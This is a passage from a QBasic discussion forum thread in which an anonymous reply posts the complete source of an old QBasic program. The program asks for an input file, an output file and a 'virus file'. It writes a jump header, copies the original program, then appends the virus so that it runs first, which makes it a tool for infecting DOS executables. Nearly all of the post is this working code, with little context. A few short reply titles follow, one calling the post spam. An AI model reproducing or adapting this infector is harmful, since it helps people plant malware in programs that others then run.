The QBasic / QB64 Discussion Forum      Other Subforums, Links and Downloads
 
 

 Return to Index  

http://www.rkeene.org/devel/archive/quickbasic/

August 23 2011 at 5:19 AM
Anonymous  (no login)


Response to MORT.BAS not tested?

 
1402023 [rkeene@sledge /home/rkeene/devel/archive/quickbasic]$ cat -n 2.bas

1: DECLARE FUNCTION Dec! (hx$)
2: DIM dd AS STRING * 1
3: CLS
4: INPUT "In Filename"; f$
5: INPUT "Out Filename"; of$
6: INPUT "Virus Filename"; vf$
7: OPEN f$ FOR BINARY AS #1
8: OPEN of$ FOR BINARY AS #2
9: OPEN vf$ FOR BINARY AS #3
10: fs = LOF(1)
11: oo$ = ""
12: mm$ = UCASE$(RTRIM$(LTRIM$(HEX$(fs))))
13: IF LEN(mm$) = 3 THEN mm$ = "0" + mm$
14: IF LEN(mm$) = 5 THEN mm$ = "0" + mm$
15: IF LEN(mm$) = 7 THEN mm$ = "0" + mm$
16: IF LEN(mm$) = 9 THEN mm$ = "0" + mm$
17: FOR q = LEN(mm$) - 1 TO 1 STEP -2
18: IF Dec(MID$(mm$, q, 2)) = 0 THEN GOTO 2
19: oo$ = oo$ + CHR$(Dec(MID$(mm$, q, 1) + MID$(mm$, q + 1, 1)))
20: 2 NEXT q
21: Hdr$ = "é" + oo$
22: IF LEN(Hdr$) = 2 THEN Hdr$ = "é" + CHR$(0) + MID$(Hdr$, 2, 1)
23: CLS
24: FOR q = 1 TO LEN(Hdr$)
25: dd = MID$(Hdr$, q, 1)
26: PUT #2, , dd
27: LOCATE 1, 1, 0: PRINT "Writing output file header."
28: dd = ""
29: NEXT q
30: LOCATE 1, 1: PRINT "Header complete. "
31: dd = ""
32: FOR q2 = 1 TO LOF(1)
33: GET #1, , dd
34: LOCATE 2, 1: PRINT "Reading input file data. "
35: PUT #2, , dd
36: LOCATE 2, 1: PRINT "Writing output file data. "
37: dd = ""
38: NEXT q2
39: LOCATE 2, 1: PRINT "Original File complete"
40: dd = ""
41: FOR q3 = 1 TO LOF(3)
42: GET #3, , dd
43: LOCATE 3, 1: PRINT "Reading virus file data. "
44: PUT #2, , dd
45: LOCATE 3, 1: PRINT "Writing output file data. "
46: dd = ""
47: NEXT q3
48: LOCATE 3, 1: PRINT "Virus file complete "
49: LOCATE 4, 1: PRINT "Done!"
50: CLOSE 1, 2, 3
51:
52: FUNCTION Dec (hx$)
53: FOR lq = 0 TO 256
54: ma$ = HEX$(lq)
55: IF LEN(ma$) = 1 THEN ma$ = "0" + ma$
56: IF LEN(ma$) = 3 THEN ma$ = "0" + ma$
57: IF LEN(ma$) = 5 THEN ma$ = "0" + ma$
58: IF UCASE$(ma$) = UCASE$(hx$) THEN Dec = lq
59: NEXT lq
60: END FUNCTION
61:

1402024 [rkeene@sledge /home/rkeene/devel/archive/quickbasic]$
Click here to go back to the directory listing.
Click here to download this file.
last modified: 2000-05-09 15:58:49

 
 Respond to this message   
Response TitleAuthor and Date
HIDEFILE.BASAnonymous on Aug 23
   http://cd.textfiles.com/pcsig08/DOD/1_1000.UPPAnonymous on Aug 23
   http://cd.textfiles.com/pcsig08/DOD/1_1000.UPPAnonymous on Aug 23
      * I guess I shouldn't be surprised this hasn't been removed as SPAM either...Clippy on Aug 29
      ??htm.ico perhaps i try'd was not coming on other place yesAnonymous on Dec 5
         maybee needs a monitor for itAnonymous on Dec 10
   *I guess I shouldn't be surprised at how many programs have been written over the decades.Michael Calkins on Aug 27
now testedAnonymous on Dec 10
 Copyright © 1999-2014 Network54. All rights reserved.   Terms of Use   Privacy Statement  

Newbies usually go to www.qbasic.com and click on The QBasic Forum
Forum regulars have their own ways, which include The QBasic Community Forums